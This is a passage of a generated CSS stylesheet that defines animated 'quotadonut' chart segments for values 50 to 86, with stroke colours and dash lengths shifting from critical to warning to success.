stroke-dasharray: 50 50
}
@-webkit-keyframes exos__quotadonut__50 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
70% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 50 50
}
}
@keyframes exos__quotadonut__50 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
70% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 50 50
}
}
.quotadonut--animated.quotadonut--50 .quotadonut__segment {
-webkit-animation: exos__quotadonut__50 2s ease-in-out;
animation: exos__quotadonut__50 2s ease-in-out
}
.quotadonut--51 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 51 49
}
@-webkit-keyframes exos__quotadonut__51 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
68.62745% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 51 49
}
}
@keyframes exos__quotadonut__51 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
68.62745% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 51 49
}
}
.quotadonut--animated.quotadonut--51 .quotadonut__segment {
-webkit-animation: exos__quotadonut__51 2s ease-in-out;
animation: exos__quotadonut__51 2s ease-in-out
}
.quotadonut--52 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 52 48
}
@-webkit-keyframes exos__quotadonut__52 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
67.30769% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 52 48
}
}
@keyframes exos__quotadonut__52 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
67.30769% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 52 48
}
}
.quotadonut--animated.quotadonut--52 .quotadonut__segment {
-webkit-animation: exos__quotadonut__52 2s ease-in-out;
animation: exos__quotadonut__52 2s ease-in-out
}
.quotadonut--53 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 53 47
}
@-webkit-keyframes exos__quotadonut__53 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
66.03774% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 53 47
}
}
@keyframes exos__quotadonut__53 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
66.03774% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 53 47
}
}
.quotadonut--animated.quotadonut--53 .quotadonut__segment {
-webkit-animation: exos__quotadonut__53 2s ease-in-out;
animation: exos__quotadonut__53 2s ease-in-out
}
.quotadonut--54 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 54 46
}
@-webkit-keyframes exos__quotadonut__54 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
64.81481% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 54 46
}
}
@keyframes exos__quotadonut__54 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
64.81481% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 54 46
}
}
.quotadonut--animated.quotadonut--54 .quotadonut__segment {
-webkit-animation: exos__quotadonut__54 2s ease-in-out;
animation: exos__quotadonut__54 2s ease-in-out
}
.quotadonut--55 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 55 45
}
@-webkit-keyframes exos__quotadonut__55 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
63.63636% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 55 45
}
}
@keyframes exos__quotadonut__55 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
63.63636% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 55 45
}
}
.quotadonut--animated.quotadonut--55 .quotadonut__segment {
-webkit-animation: exos__quotadonut__55 2s ease-in-out;
animation: exos__quotadonut__55 2s ease-in-out
}
.quotadonut--56 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 56 44
}
@-webkit-keyframes exos__quotadonut__56 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
62.5% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 56 44
}
}
@keyframes exos__quotadonut__56 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
62.5% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 56 44
}
}
.quotadonut--animated.quotadonut--56 .quotadonut__segment {
-webkit-animation: exos__quotadonut__56 2s ease-in-out;
animation: exos__quotadonut__56 2s ease-in-out
}
.quotadonut--57 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 57 43
}
@-webkit-keyframes exos__quotadonut__57 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
61.40351% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 57 43
}
}
@keyframes exos__quotadonut__57 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
61.40351% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 57 43
}
}
.quotadonut--animated.quotadonut--57 .quotadonut__segment {
-webkit-animation: exos__quotadonut__57 2s ease-in-out;
animation: exos__quotadonut__57 2s ease-in-out
}
.quotadonut--58 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 58 42
}
@-webkit-keyframes exos__quotadonut__58 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
60.34483% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 58 42
}
}
@keyframes exos__quotadonut__58 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
60.34483% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 58 42
}
}
.quotadonut--animated.quotadonut--58 .quotadonut__segment {
-webkit-animation: exos__quotadonut__58 2s ease-in-out;
animation: exos__quotadonut__58 2s ease-in-out
}
.quotadonut--59 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 59 41
}
@-webkit-keyframes exos__quotadonut__59 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
59.32203% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 59 41
}
}
@keyframes exos__quotadonut__59 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
59.32203% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 59 41
}
}
.quotadonut--animated.quotadonut--59 .quotadonut__segment {
-webkit-animation: exos__quotadonut__59 2s ease-in-out;
animation: exos__quotadonut__59 2s ease-in-out
}
.quotadonut--60 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 60 40
}
@-webkit-keyframes exos__quotadonut__60 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
58.33333% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 60 40
}
}
@keyframes exos__quotadonut__60 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
58.33333% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 60 40
}
}
.quotadonut--animated.quotadonut--60 .quotadonut__segment {
-webkit-animation: exos__quotadonut__60 2s ease-in-out;
animation: exos__quotadonut__60 2s ease-in-out
}
.quotadonut--61 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 61 39
}
@-webkit-keyframes exos__quotadonut__61 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
57.37705% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 61 39
}
}
@keyframes exos__quotadonut__61 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
57.37705% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 61 39
}
}
.quotadonut--animated.quotadonut--61 .quotadonut__segment {
-webkit-animation: exos__quotadonut__61 2s ease-in-out;
animation: exos__quotadonut__61 2s ease-in-out
}
.quotadonut--62 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 62 38
}
@-webkit-keyframes exos__quotadonut__62 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
56.45161% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 62 38
}
}
@keyframes exos__quotadonut__62 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
56.45161% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 62 38
}
}
.quotadonut--animated.quotadonut--62 .quotadonut__segment {
-webkit-animation: exos__quotadonut__62 2s ease-in-out;
animation: exos__quotadonut__62 2s ease-in-out
}
.quotadonut--63 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 63 37
}
@-webkit-keyframes exos__quotadonut__63 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
55.55556% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 63 37
}
}
@keyframes exos__quotadonut__63 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
55.55556% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 63 37
}
}
.quotadonut--animated.quotadonut--63 .quotadonut__segment {
-webkit-animation: exos__quotadonut__63 2s ease-in-out;
animation: exos__quotadonut__63 2s ease-in-out
}
.quotadonut--64 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 64 36
}
@-webkit-keyframes exos__quotadonut__64 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
54.6875% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 64 36
}
}
@keyframes exos__quotadonut__64 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
54.6875% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 64 36
}
}
.quotadonut--animated.quotadonut--64 .quotadonut__segment {
-webkit-animation: exos__quotadonut__64 2s ease-in-out;
animation: exos__quotadonut__64 2s ease-in-out
}
.quotadonut--65 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 65 35
}
@-webkit-keyframes exos__quotadonut__65 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
53.84615% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 65 35
}
}
@keyframes exos__quotadonut__65 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
53.84615% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 65 35
}
}
.quotadonut--animated.quotadonut--65 .quotadonut__segment {
-webkit-animation: exos__quotadonut__65 2s ease-in-out;
animation: exos__quotadonut__65 2s ease-in-out
}
.quotadonut--66 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 66 34
}
@-webkit-keyframes exos__quotadonut__66 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
53.0303% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 66 34
}
}
@keyframes exos__quotadonut__66 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
53.0303% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 66 34
}
}
.quotadonut--animated.quotadonut--66 .quotadonut__segment {
-webkit-animation: exos__quotadonut__66 2s ease-in-out;
animation: exos__quotadonut__66 2s ease-in-out
}
.quotadonut--67 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 67 33
}
@-webkit-keyframes exos__quotadonut__67 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
52.23881% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 67 33
}
}
@keyframes exos__quotadonut__67 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
52.23881% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 67 33
}
}
.quotadonut--animated.quotadonut--67 .quotadonut__segment {
-webkit-animation: exos__quotadonut__67 2s ease-in-out;
animation: exos__quotadonut__67 2s ease-in-out
}
.quotadonut--68 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 68 32
}
@-webkit-keyframes exos__quotadonut__68 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
51.47059% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 68 32
}
}
@keyframes exos__quotadonut__68 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
51.47059% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 68 32
}
}
.quotadonut--animated.quotadonut--68 .quotadonut__segment {
-webkit-animation: exos__quotadonut__68 2s ease-in-out;
animation: exos__quotadonut__68 2s ease-in-out
}
.quotadonut--69 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 69 31
}
@-webkit-keyframes exos__quotadonut__69 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
50.72464% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 69 31
}
}
@keyframes exos__quotadonut__69 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
50.72464% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 69 31
}
}
.quotadonut--animated.quotadonut--69 .quotadonut__segment {
-webkit-animation: exos__quotadonut__69 2s ease-in-out;
animation: exos__quotadonut__69 2s ease-in-out
}
.quotadonut--70 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 70 30
}
@-webkit-keyframes exos__quotadonut__70 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
50% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 70 30
}
}
@keyframes exos__quotadonut__70 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
50% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 70 30
}
}
.quotadonut--animated.quotadonut--70 .quotadonut__segment {
-webkit-animation: exos__quotadonut__70 2s ease-in-out;
animation: exos__quotadonut__70 2s ease-in-out
}
.quotadonut--71 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 71 29
}
@-webkit-keyframes exos__quotadonut__71 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
49.29577% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 71 29
}
}
@keyframes exos__quotadonut__71 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
49.29577% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 71 29
}
}
.quotadonut--animated.quotadonut--71 .quotadonut__segment {
-webkit-animation: exos__quotadonut__71 2s ease-in-out;
animation: exos__quotadonut__71 2s ease-in-out
}
.quotadonut--72 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 72 28
}
@-webkit-keyframes exos__quotadonut__72 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
48.61111% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 72 28
}
}
@keyframes exos__quotadonut__72 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
48.61111% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 72 28
}
}
.quotadonut--animated.quotadonut--72 .quotadonut__segment {
-webkit-animation: exos__quotadonut__72 2s ease-in-out;
animation: exos__quotadonut__72 2s ease-in-out
}
.quotadonut--73 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 73 27
}
@-webkit-keyframes exos__quotadonut__73 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
47.94521% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 73 27
}
}
@keyframes exos__quotadonut__73 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
47.94521% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 73 27
}
}
.quotadonut--animated.quotadonut--73 .quotadonut__segment {
-webkit-animation: exos__quotadonut__73 2s ease-in-out;
animation: exos__quotadonut__73 2s ease-in-out
}
.quotadonut--74 .quotadonut__segment {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 74 26
}
@-webkit-keyframes exos__quotadonut__74 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
47.2973% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 74 26
}
}
@keyframes exos__quotadonut__74 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
47.2973% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--warning-shape-color,#fa0);
stroke-dasharray: 74 26
}
}
.quotadonut--animated.quotadonut--74 .quotadonut__segment {
-webkit-animation: exos__quotadonut__74 2s ease-in-out;
animation: exos__quotadonut__74 2s ease-in-out
}
.quotadonut--75 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 75 25
}
@-webkit-keyframes exos__quotadonut__75 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
46.66667% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 75 25
}
}
@keyframes exos__quotadonut__75 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
46.66667% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 75 25
}
}
.quotadonut--animated.quotadonut--75 .quotadonut__segment {
-webkit-animation: exos__quotadonut__75 2s ease-in-out;
animation: exos__quotadonut__75 2s ease-in-out
}
.quotadonut--76 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 76 24
}
@-webkit-keyframes exos__quotadonut__76 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
46.05263% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 76 24
}
}
@keyframes exos__quotadonut__76 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
46.05263% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 76 24
}
}
.quotadonut--animated.quotadonut--76 .quotadonut__segment {
-webkit-animation: exos__quotadonut__76 2s ease-in-out;
animation: exos__quotadonut__76 2s ease-in-out
}
.quotadonut--77 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 77 23
}
@-webkit-keyframes exos__quotadonut__77 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
45.45455% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 77 23
}
}
@keyframes exos__quotadonut__77 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
45.45455% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 77 23
}
}
.quotadonut--animated.quotadonut--77 .quotadonut__segment {
-webkit-animation: exos__quotadonut__77 2s ease-in-out;
animation: exos__quotadonut__77 2s ease-in-out
}
.quotadonut--78 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 78 22
}
@-webkit-keyframes exos__quotadonut__78 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
44.87179% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 78 22
}
}
@keyframes exos__quotadonut__78 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
44.87179% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 78 22
}
}
.quotadonut--animated.quotadonut--78 .quotadonut__segment {
-webkit-animation: exos__quotadonut__78 2s ease-in-out;
animation: exos__quotadonut__78 2s ease-in-out
}
.quotadonut--79 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 79 21
}
@-webkit-keyframes exos__quotadonut__79 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
44.3038% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 79 21
}
}
@keyframes exos__quotadonut__79 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
44.3038% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 79 21
}
}
.quotadonut--animated.quotadonut--79 .quotadonut__segment {
-webkit-animation: exos__quotadonut__79 2s ease-in-out;
animation: exos__quotadonut__79 2s ease-in-out
}
.quotadonut--80 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 80 20
}
@-webkit-keyframes exos__quotadonut__80 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
43.75% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 80 20
}
}
@keyframes exos__quotadonut__80 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
43.75% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 80 20
}
}
.quotadonut--animated.quotadonut--80 .quotadonut__segment {
-webkit-animation: exos__quotadonut__80 2s ease-in-out;
animation: exos__quotadonut__80 2s ease-in-out
}
.quotadonut--81 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 81 19
}
@-webkit-keyframes exos__quotadonut__81 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
43.20988% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 81 19
}
}
@keyframes exos__quotadonut__81 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
43.20988% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 81 19
}
}
.quotadonut--animated.quotadonut--81 .quotadonut__segment {
-webkit-animation: exos__quotadonut__81 2s ease-in-out;
animation: exos__quotadonut__81 2s ease-in-out
}
.quotadonut--82 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 82 18
}
@-webkit-keyframes exos__quotadonut__82 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
42.68293% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 82 18
}
}
@keyframes exos__quotadonut__82 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
42.68293% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 82 18
}
}
.quotadonut--animated.quotadonut--82 .quotadonut__segment {
-webkit-animation: exos__quotadonut__82 2s ease-in-out;
animation: exos__quotadonut__82 2s ease-in-out
}
.quotadonut--83 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 83 17
}
@-webkit-keyframes exos__quotadonut__83 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
42.16867% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 83 17
}
}
@keyframes exos__quotadonut__83 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
42.16867% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 83 17
}
}
.quotadonut--animated.quotadonut--83 .quotadonut__segment {
-webkit-animation: exos__quotadonut__83 2s ease-in-out;
animation: exos__quotadonut__83 2s ease-in-out
}
.quotadonut--84 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 84 16
}
@-webkit-keyframes exos__quotadonut__84 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
41.66667% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 84 16
}
}
@keyframes exos__quotadonut__84 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
41.66667% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 84 16
}
}
.quotadonut--animated.quotadonut--84 .quotadonut__segment {
-webkit-animation: exos__quotadonut__84 2s ease-in-out;
animation: exos__quotadonut__84 2s ease-in-out
}
.quotadonut--85 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 85 15
}
@-webkit-keyframes exos__quotadonut__85 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
41.17647% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 85 15
}
}
@keyframes exos__quotadonut__85 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
41.17647% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 85 15
}
}
.quotadonut--animated.quotadonut--85 .quotadonut__segment {
-webkit-animation: exos__quotadonut__85 2s ease-in-out;
animation: exos__quotadonut__85 2s ease-in-out
}
.quotadonut--86 .quotadonut__segment {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 86 14
}
@-webkit-keyframes exos__quotadonut__86 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
40.69767% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 86 14
}
}
@keyframes exos__quotadonut__86 {
0% {
stroke: var(--critical-shape-color,#f50c00);
stroke-dasharray: 0 100
}
40.69767% {
stroke: var(--warning-shape-color,#fa0)
}
to {
stroke: var(--success-shape-color,#0fa954);
stroke-dasharray: 86 14
}
}
